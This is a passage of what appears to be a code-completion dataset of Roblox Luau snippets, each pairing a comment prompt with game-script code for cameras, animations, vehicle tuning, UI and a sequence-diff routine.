end\n\n\tif self.cameraSubjectChangedConn then\n\t\tself.cameraSubjectChangedConn:Disconnect()\n\tend\n\n\tif self.cameraTypeChangedConn then\n\t\tself.cameraTypeChangedConn:Disconnect()\n\tend\n\n\tself.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal(\"CameraSubject\"):Connect(function()\n\t\tself:OnCameraSubjectChanged(currentCamera.CameraSubject)\n\tend)\n\n\tself.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal(\"CameraType\"):Connect(function()\n\t\tself:OnCameraTypeChanged(currentCamera.CameraType)\n\tend)\n\n\tself:OnCameraSubjectChanged(currentCamera.CameraSubject)\n\tself:OnCameraTypeChanged(currentCamera.CameraType)\nend\n\nfunction CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName: string)\n\tif propertyName == \"CameraMode\" then\n\t\t-- CameraMode is only used to turn on/off forcing the player into first person view. The\n\t\t-- Note: The case \"Classic\" is used for all other views and does not correspond only to the ClassicCamera module\n\t\tif Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then\n\t\t\t-- Locked in first person, use ClassicCamera which supports this\n\t\t\tif not self.activeCameraController or self.activeCameraController:GetModuleName() ~= \"ClassicCamera\" then\n\t\t\t\tself:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic))\n\t\t\tend\n\n\t\t\tif self.activeCameraController then\n\t\t\t\tself.activeCameraController:UpdateForDistancePropertyChange()\n\t\t\tend\n\t\telseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then\n\t\t\t-- Not locked in first person view\n\t\t\tlocal cameraMovementMode = self:GetCameraMovementModeFromSettings()\n\t\t\tself:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))\n\t\telse\n\t\t\twarn(\"Unhandled value for property player.CameraMode: \",Players.LocalPlayer.CameraMode)\n\t\tend\n\n\telseif propertyName == \"DevComputerCameraMode\" or \n\t\t propertyName == \"DevTouchCameraMode\" then\n\t\tlocal cameraMovementMode = self:GetCameraMovementModeFromSettings()\n\t\tself:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))\n\n\telseif propertyName == \"DevCameraOcclusionMode\" then\n\t\tself:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode)\n\n\telseif propertyName == \"CameraMinZoomDistance\" or propertyName == \"CameraMaxZoomDistance\" then\n\t\tif self.activeCameraController then\n\t\t\tself.activeCameraController:UpdateForDistancePropertyChange()\n\t\tend\n\telseif propertyName == \"DevTouchMovementMode\" then\n\telseif propertyName == \"DevComputerMovementMode\" then\n\telseif propertyName == \"DevEnableMouseLock\" then\n\t\t-- This is the enabling/disabling of \"Shift Lock\" mode, not LockFirstPerson (which is a CameraMode)\n\t\t-- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via\n\t\t-- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have\n\t\t-- support for changing the availability of MouseLock at runtime (this would require listening to\n\t\t-- Player.DevEnableMouseLock changes)\n\tend\nend\n\nfunction CameraModule:OnUserGameSettingsPropertyChanged(propertyName: string)\n\tif propertyName == \"ComputerCameraMovementMode\" then\n\t\tlocal cameraMovementMode = self:GetCameraMovementModeFromSettings()\n\t\tself:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))\n\tend\nend\n"} +{"prompt": "--[[**\n\tmatches given tuple against tuple type definition\n\n\t@param ... The type definition for the tuples\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.tuple(...)\n\tlocal checks = {...}\n\treturn function(...)\n\t\tlocal args = {...}\n\t\tfor i = 1, #checks do\n\t\t\tlocal success, errMsg = checks[i](args[i])\n\t\t\tif success == false then\n\t\t\t\treturn false, string.format(\"Bad tuple index #%s:\\n\\t%s\", i, errMsg or \"\")\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend\nend\n"} +{"prompt": "-- services", "completion": "\nlocal tween_service = game:GetService(\"TweenService\")\n"} +{"prompt": "--\t\tprint(\"Loading anims \" .. name)", "completion": "\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 45\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 41\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .05\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\ngame[\"Run Service\"].RenderStepped:Connect(function()\n\tscript.Parent.Position = UDim2.fromScale(0 + math.random(-5, 5) / 100, 0.5 + math.random(-100, 100) / 100);\nend);\n"} +{"prompt": "-- A complete function to extend forward paths from (d - 1) to d changes.\n-- Return true if a path overlaps reverse path of (d - 1) changes in its diagonal.", "completion": "\nlocal function extendOverlappablePathsF(\n\td: number,\n\taStart: number,\n\taEnd: number,\n\tbStart: number,\n\tbEnd: number,\n\tisCommon: IsCommon,\n\taIndexesF: Indexes, -- update indexes in sequence a of paths in diagonals kF\n\tiMaxF: number,\n\taIndexesR: Indexes,\n\tiMaxR: number,\n\tdivision: Division -- update prop values if return true\n): boolean\n\tlocal bF = bStart - aStart -- bIndex = bF + aIndex - kF\n\tlocal aLength = aEnd - aStart\n\tlocal bLength = bEnd - bStart\n\tlocal baDeltaLength = bLength - aLength -- kF = kR + baDeltaLength\n\n\t-- Range of diagonals in which forward and reverse paths might overlap.\n\tlocal kMinOverlapF = -baDeltaLength - (d - 1) -- -(d - 1) <= kR\n\tlocal kMaxOverlapF = -baDeltaLength + (d - 1) -- kR <= (d - 1)\n\n\tlocal aIndexPrev1 = 0 -- prev value of [iF - 1] in next iteration\n\n\t-- Optimization: skip diagonals in which paths cannot ever overlap.\n\tlocal nF = d < iMaxF and d or iMaxF\n\n\t-- The diagonals kF = 2 * iF - d are odd when d is odd and even when d is even.\n\t-- ROBLOX FIXME? why aren't we just starting iF at 1?\n\tlocal iF = 0\n\tlocal kF: number = -d\n\twhile iF <= nF do\n\t\t-- To get first point of path segment, move one change in forward direction\n\t\t-- from last point of previous path segment in an adjacent diagonal.\n\t\t-- In first iteration when iF === 0 and kF === -d always insert.\n\t\t-- In last possible iteration when iF === d and kF === d always delete.\n\t\tlocal insert = iF == 0 or (iF ~= d and aIndexPrev1 < aIndexesF[iF + 1])\n\t\t-- ROBLOX FIXME? should the values inserted into aIndexesF be 1-based so we don't have to adjust in several places here?\n\t\tlocal aLastPrev = insert and aIndexesF[iF + 1] or aIndexPrev1\n\t\tlocal aFirst: number = insert and aLastPrev -- vertical to insert from b\n\t\t\tor aLastPrev + 1 -- horizontal to delete from a\n\n\t\t-- To get last point of path segment, move along diagonal of common items.\n\t\tlocal bFirst = bF + aFirst - kF\n\t\tlocal nCommonF = countCommonItemsF(aFirst + 1, aEnd, bFirst + 1, bEnd, isCommon)\n\t\tlocal aLast = aFirst + nCommonF\n\n\t\taIndexPrev1 = aIndexesF[iF + 1]\n\t\taIndexesF[iF + 1] = aLast\n\n\t\tif kMinOverlapF <= kF and kF <= kMaxOverlapF then\n\t\t\t-- Solve for iR of reverse path with (d - 1) changes in diagonal kF:\n\t\t\t-- kR = kF + baDeltaLength\n\t\t\t-- kR = (d - 1) - 2 * iR\n\t\t\tlocal iR = (d - 1 - (kF + baDeltaLength)) / 2\n\n\t\t\t-- If this forward path overlaps the reverse path in this diagonal,\n\t\t\t-- then this is the middle change of the index intervals.\n\t\t\tif iR <= iMaxR and aIndexesR[iR + 1] - 1 <= aLast then\n\t\t\t\t-- Unlike the Myers algorithm which finds only the middle \u201csnake\u201d\n\t\t\t\t-- this package can find two common subsequences per division.\n\t\t\t\t-- Last point of previous path segment is on an adjacent diagonal.\n\t\t\t\tlocal bLastPrev = bF + aLastPrev - (insert and kF + 1 or kF - 1)\n\n\t\t\t\t-- Because of invariant that intervals preceding the middle change\n\t\t\t\t-- cannot have common items at the end,\n\t\t\t\t-- move in reverse direction along a diagonal of common items.\n\t\t\t\tlocal nCommonR = countCommonItemsR(aStart, aLastPrev, bStart, bLastPrev, isCommon)\n\n\t\t\t\tlocal aIndexPrevFirst = aLastPrev - nCommonR\n\t\t\t\tlocal bIndexPrevFirst = bLastPrev - nCommonR\n\n\t\t\t\tlocal aEndPreceding = aIndexPrevFirst + 1\n\t\t\t\tlocal bEndPreceding = bIndexPrevFirst + 1\n\n\t\t\t\tdivision.nChangePreceding = d - 1\n\t\t\t\tif d - 1 == aEndPreceding + bEndPreceding - aStart - bStart then\n\t\t\t\t\t-- Optimization: number of changes in reverse direction\n\t\t\t\t\t-- is equal to number of items in preceding interval,\n\t\t\t\t\t-- therefore it cannot contain any common items.\n\t\t\t\t\tdivision.aEndPreceding = aStart\n\t\t\t\t\tdivision.bEndPreceding = bStart\n\t\t\t\telse\n\t\t\t\t\tdivision.aEndPreceding = aEndPreceding\n\t\t\t\t\tdivision.bEndPreceding = bEndPreceding\n\t\t\t\tend\n\n\t\t\t\tdivision.nCommonPreceding = nCommonR\n\t\t\t\tif nCommonR ~= 0 then\n\t\t\t\t\tdivision.aCommonPreceding = aEndPreceding\n\t\t\t\t\tdivision.bCommonPreceding = bEndPreceding\n\t\t\t\tend\n\n\t\t\t\tdivision.nCommonFollowing = nCommonF\n\t\t\t\tif nCommonF ~= 0 then\n\t\t\t\t\tdivision.aCommonFollowing = aFirst + 1\n\t\t\t\t\tdivision.bCommonFollowing = bFirst + 1\n\t\t\t\tend\n\n\t\t\t\tlocal aStartFollowing = aLast + 1\n\t\t\t\tlocal bStartFollowing = bFirst + nCommonF + 1\n\n\t\t\t\tdivision.nChangeFollowing = d - 1\n\t\t\t\tif d - 1 == aEnd + bEnd - aStartFollowing - bStartFollowing then\n\t\t\t\t\t-- Optimization: number of changes in reverse direction\n\t\t\t\t\t-- is equal to number of items in following interval,\n\t\t\t\t\t-- therefore it cannot contain any common items.\n\t\t\t\t\tdivision.aStartFollowing = aEnd\n\t\t\t\t\tdivision.bStartFollowing = bEnd\n\t\t\t\telse\n\t\t\t\t\tdivision.aStartFollowing = aStartFollowing\n\t\t\t\t\tdivision.bStartFollowing = bStartFollowing\n\t\t\t\tend\n\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\tiF = iF + 1\n\t\tkF = kF + 2\n\tend\n\n\treturn false\nend\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nLift:WaitForChild(\"Direction\").Changed:connect(function(val)\n\tif val == 1 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Lime green\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Lime green\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\telseif val == -1 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really red\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really red\")\n\telse\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\tend\nend)\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid) \n\t\t\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\t"} +{"prompt": "-- Make alias public on class", "completion": "\nExpectation.an = Expectation.a\n"} +{"prompt": "--waitTime = 10 -- DEBUGGING", "completion": "\nlocal regenArea = script.Parent -- Regens Trees based off Regional Areas\n\nwhile true do\n\twait(waitTime)\n\t-- print \"Regenerating!\"\n\tlocal Trees = regenArea:GetChildren()\t\n\tfor i,tree in pairs(Trees) do\n\t\tif tree:IsA(\"Model\") and not tree:IsA(\"Script\") then -- Checks if the object is a model"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 12000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .15\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 12000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 30\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .09\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= true\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "-- Optional Configuration ", "completion": "\nSoundsInSoundService = false -- If all the sounds are in SoundService. You can use this for a script, use this code to get the sounds: wait(2) local DoorsSounds = game.SoundService[\"DOORS \ud83d\udc41\ufe0f Sound Pack\"]"} +{"prompt": "-- << VARIABLES >>", "completion": "\nlocal screen_changing = 0\nlocal initialised = false\nlocal framesToAdapt = {\n\t[main.gui.MainFrame] = 0.78;\n\t[main.gui.MenuTemplates.Template5] = 0.78;\n\t[main.gui.MenuTemplates.Template6] = 0.78;\n\t[main.gui.MenuTemplates.Template7] = 0.78;\n\t[main.gui.MenuTemplates.Template9] = 0.78;\n\t[main.gui.MenuTemplates.Template10] = 1.17;\n\t[main.gui.MenuTemplates.Template11] = 1.17;\n\t[main.gui.MenuTemplates.Template12] = 0.78;\n\t}\nlocal deviceFrameSizes = {\n\t[\"Phone\"] = 1;\n\t[\"Tablet\"] = 0.8;\n\t[\"Computer\"] = 0.6;\n\t}\n\n\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 45\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 38\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .18\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .2\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 330\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "-- declarations", "completion": "\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal jumpAnimTime = 3\nlocal jumpAnimDuration = 0.31\n\nlocal toolTransitionTime = 0.1\nlocal fallTransitionTime = 0.2\n"} +{"prompt": "-- left and right button actions", "completion": "\nbtnRight.MouseButton1Click:Connect(function()\n\t\n\tlocal oldScreen = screens[curScreen]\n\tUITween.fade(oldScreen, 1, 0.5, 0)\n\tUITween.move(oldScreen, UDim2.new(0.5, -100, 0.5, 0), 0.5, 0)\n\t\n\t\n\tif(curScreen == #screens) then\n\t\tcurScreen = 0\n\tend\n\t\n\tcurScreen = curScreen + 1\n\t\n\tlocal newScreen = screens[curScreen]\n\tnewScreen.Position = UDim2.new(0.5, 100, 0.5, 0)\n\tUITween.move(newScreen, UDim2.new(0.5, 0, 0.5, 0), 0.5, 0)\n\tUITween.fade(newScreen, 0, 0.5, 0)\nend)\n\nbtnLeft.MouseButton1Click:Connect(function()\n\n\tlocal oldScreen = screens[curScreen]\n\tUITween.fade(oldScreen, 1, 0.5, 0)\n\tUITween.move(oldScreen, UDim2.new(0.5, 100, 0.5, 0), 0.5, 0)\n\t\n\tcurScreen = curScreen - 1\n\n\tif(curScreen == 0) then\n\t\tcurScreen = #screens\n\tend\n\n\tlocal newScreen = screens[curScreen]\n\tnewScreen.Position = UDim2.new(0.5, -100, 0.5, 0)\n\tUITween.move(newScreen, UDim2.new(0.5, 0, 0.5, 0), 0.5, 0)\n\tUITween.fade(newScreen, 0, 0.5, 0)\nend)\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 200\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 7 \t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3 \t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.6 \t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t1.65 \t ,\n\t --[[ 3 ]]\t\t1.2 \t ,\n\t --[[ 4 ]]\t\t0.8 \t ,\n\t --[[ 5 ]]\t\t0.6 \t ,\n \t--[[ 6 ]]\t\t0.4 \t ,\n\t} \n\tTune.FDMult\t\t\t= 1 \t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- scripting level 1000000: go\n-- if you type 2 dashes like this \"--\" you can create a comment\n-- comments aren't executed, so you can type stuff like this!", "completion": "\n"} +{"prompt": "--[[*\n * Scan a glob pattern to separate the pattern into segments.\n *\n * ```js\n * const picomatch = require('picomatch');\n * // picomatch.scan(input[, options]);\n *\n * const result = picomatch.scan('!./foo/*.js');\n * console.log(result);\n * { prefix: '!./',\n * input: '!./foo/*.js',\n * start: 3,\n * base: 'foo',\n * glob: '*.js',\n * isBrace: false,\n * isBracket: false,\n * isGlob: true,\n * isExtglob: false,\n * isGlobstar: false,\n * negated: true }\n * ```\n * @param {String} `input` Glob pattern to scan.\n * @param {Object} `options`\n * @return {Object} Returns an object with\n * @api public\n ]]", "completion": "\n\nfunction picomatch.scan(input, options: Object?)\n\treturn scan(input, options)\nend\n"} +{"prompt": "--\tlocal now = os.time()\n--\tif now - lastMoan > 5 then\t\n--\t\tif math.random() > .3 then\n--\t\t\tzombie.Moan:Play()\n----\t\t\tprint(\"playing moan\")\n--\t\t\tlastMoan = now\n--\t\tend\n--\tend", "completion": "\n\twait(2)\nend\n\n"} +{"prompt": "--[[\n\tVisit all test result nodes, depth-first.\n]]", "completion": "\nfunction TestResults:visitAllNodes(callback, root)\n\troot = root or self\n\n\tfor _, child in ipairs(root.children) do\n\t\tcallback(child)\n\n\t\tself:visitAllNodes(callback, child)\n\tend\nend\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\nfunction onRunning(speed)\nif speed>0.01 then\nif Figure and Humanoid and Humanoid.WalkSpeed<50 then\nplayAnimation(\"walk\", 0.1, Humanoid);\nelseif Figure and Humanoid and Humanoid.WalkSpeed>50 then\nplayAnimation(\"run\", 0.1, Humanoid);\nend;\nif currentAnimInstance and currentAnimInstance.AnimationId == \"http://www.roblox.com/asset/?id=180426354\" then\nsetAnimationSpeed(speed / 14.5)\nend\npose = \"Running\"\nelse\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\nend\nend\nfunction onDied()\npose = \"Dead\"\nend\nfunction onJumping()\nplayAnimation(\"jump\", 0.1, Humanoid)\njumpAnimTime = jumpAnimDuration\npose = \"Jumping\"\nend\nfunction onClimbing(speed)\nplayAnimation(\"climb\", 0.1, Humanoid)\nsetAnimationSpeed(speed / 12.0)\npose = \"Climbing\"\nend\nfunction onGettingUp()\npose = \"GettingUp\"\nend\nfunction onFreeFall()\nif (jumpAnimTime <= 0) then\nplayAnimation(\"fall\", fallTransitionTime, Humanoid)\nend\npose = \"FreeFall\"\nend\nfunction onFallingDown()\npose = \"FallingDown\"\nend\nfunction onSeated()\npose = \"Seated\"\nend\nfunction onPlatformStanding()\npose = \"PlatformStanding\"\nend\nfunction onSwimming(speed)\nif speed>0 then\npose = \"Running\"\nelse\npose = \"Standing\"\nend\nend\n\nfunction getTool()\nfor _, kid in ipairs(Figure:GetChildren()) do\nif kid.className == \"Tool\" then return kid end\nend\nreturn nil\nend\n\nfunction getToolAnim(tool)\nfor _, c in ipairs(tool:GetChildren()) do\nif c.Name == \"toolanim\" and c.className == \"StringValue\" then\nreturn c\nend\nend\nreturn nil\nend\n\nfunction animateTool()\n\nif (toolAnim == \"None\") then\nplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\nreturn\nend\n\nif (toolAnim == \"Slash\") then\nplayToolAnimation(\"toolslash\", 0, Humanoid)\nreturn\nend\n\nif (toolAnim == \"Lunge\") then\nplayToolAnimation(\"toollunge\", 0, Humanoid)\nreturn\nend\nend\n\nfunction moveSit()\nRightShoulder.MaxVelocity = 0.15\nLeftShoulder.MaxVelocity = 0.15\nRightShoulder:SetDesiredAngle(3.14 /2)\nLeftShoulder:SetDesiredAngle(-3.14 /2)\nRightHip:SetDesiredAngle(3.14 /2)\nLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\nlocal amplitude = 1\nlocal frequency = 1\n local deltaTime = time - lastTick\n lastTick = time\n\nlocal climbFudge = 0\nlocal setAngles = false\n\n if (jumpAnimTime > 0) then\n jumpAnimTime = jumpAnimTime - deltaTime\n end\n\nif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\nplayAnimation(\"fall\", fallTransitionTime, Humanoid)\nelseif (pose == \"Seated\") then\nplayAnimation(\"sit\", 0.5, Humanoid)\nreturn\nelseif (pose == \"Running\") then\nif Figure and Humanoid and Humanoid.WalkSpeed<17 then\nplayAnimation(\"walk\", 0.1, Humanoid);\nelseif Figure and Humanoid and Humanoid.WalkSpeed>17 then\nplayAnimation(\"run\", 0.1, Humanoid);\nend;\nelseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\nstopAllAnimations()\namplitude = 0.1\nfrequency = 1\nsetAngles = true\nend\nif (setAngles) then\nlocal desiredAngle = amplitude * math.sin(time * frequency)\nRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\nLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\nRightHip:SetDesiredAngle(-desiredAngle)\nLeftHip:SetDesiredAngle(-desiredAngle)\nend"} +{"prompt": "-- Value Changed", "completion": "\nHumanoid.Changed:connect(function()\n\tif (Humanoid.WalkSpeed > 5) and (Hold == nil) then StandUp() end\nend)\n"} +{"prompt": "--Replace with the name of the tool in ServerStorage", "completion": "\nlocal giver = script.Parent\nlocal canGive = false\n\nlocal function GiveTool(player)\n\tif canGive == false then\n\t\tcanGive = true\n\t\tlocal clone = tool:Clone()\n\t\tclone.Parent = player.Backpack\n\t\twait(1) --The time between times it can be clicked and the tool can be given\n\t\tcanGive = false\n\tend\nend\n\ngiver.ClickDetector.MouseClick:Connect(function(player)\n\tGiveTool(player)\nend)\n"} +{"prompt": "--[[ Services ]]", "completion": "--\nlocal PlayersService = game:GetService(\"Players\")\nlocal VRService = game:GetService(\"VRService\")\n\nlocal CameraInput = require(script.Parent:WaitForChild(\"CameraInput\"))\nlocal Util = require(script.Parent:WaitForChild(\"CameraUtils\"))\n"} +{"prompt": "--add all the parts in the character to charParts, and accessories to accessoryParts", "completion": "\nfor i, v in pairs(character:GetDescendants()) do\n\tif v:IsA(\"BasePart\") then\n\t\tif v.Name ~= \"HumanoidRootPart\" then\n\t\t\ttable.insert(charParts, v)\n\t\tend\n\t\tif (v.Name ~= \"Torso\" or v.Name ~= \"UpperTorso\") and not v:IsA(\"Accoutrement\") then\n\t\t\tlocal wrap = nil\n\t\t\twrap = coroutine.wrap(function()\n\t\t\t\ttask.wait(0.05)\n\t\t\t\tWeld(Torso, v)\n\t\t\t\tcoroutine.yield(wrap)\n\t\t\tend)()\n\t\tend\n\tend\n\t--[[if v:IsA(\"Hat\") or v:IsA(\"Accoutrement\") or v:IsA(\"Accessory\") then\n\t\ttable.insert(charParts, v.Handle)\n\tend]]\n\tif v:IsA(\"CharacterMesh\") then\n\t\tcustomPackageMeshes[v.BodyPart.Name] = v.MeshId\n\tend\nend\n"} +{"prompt": "--[[\np1.Parent = nil\np2.Parent = nil\np3.Parent = nil \np4.Parent = nil\n]]", "completion": " \n\tif not enabled then\n\t\treturn\n\tend\n\tenabled = false\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\twait(5.9)\n\tmouse.Icon = 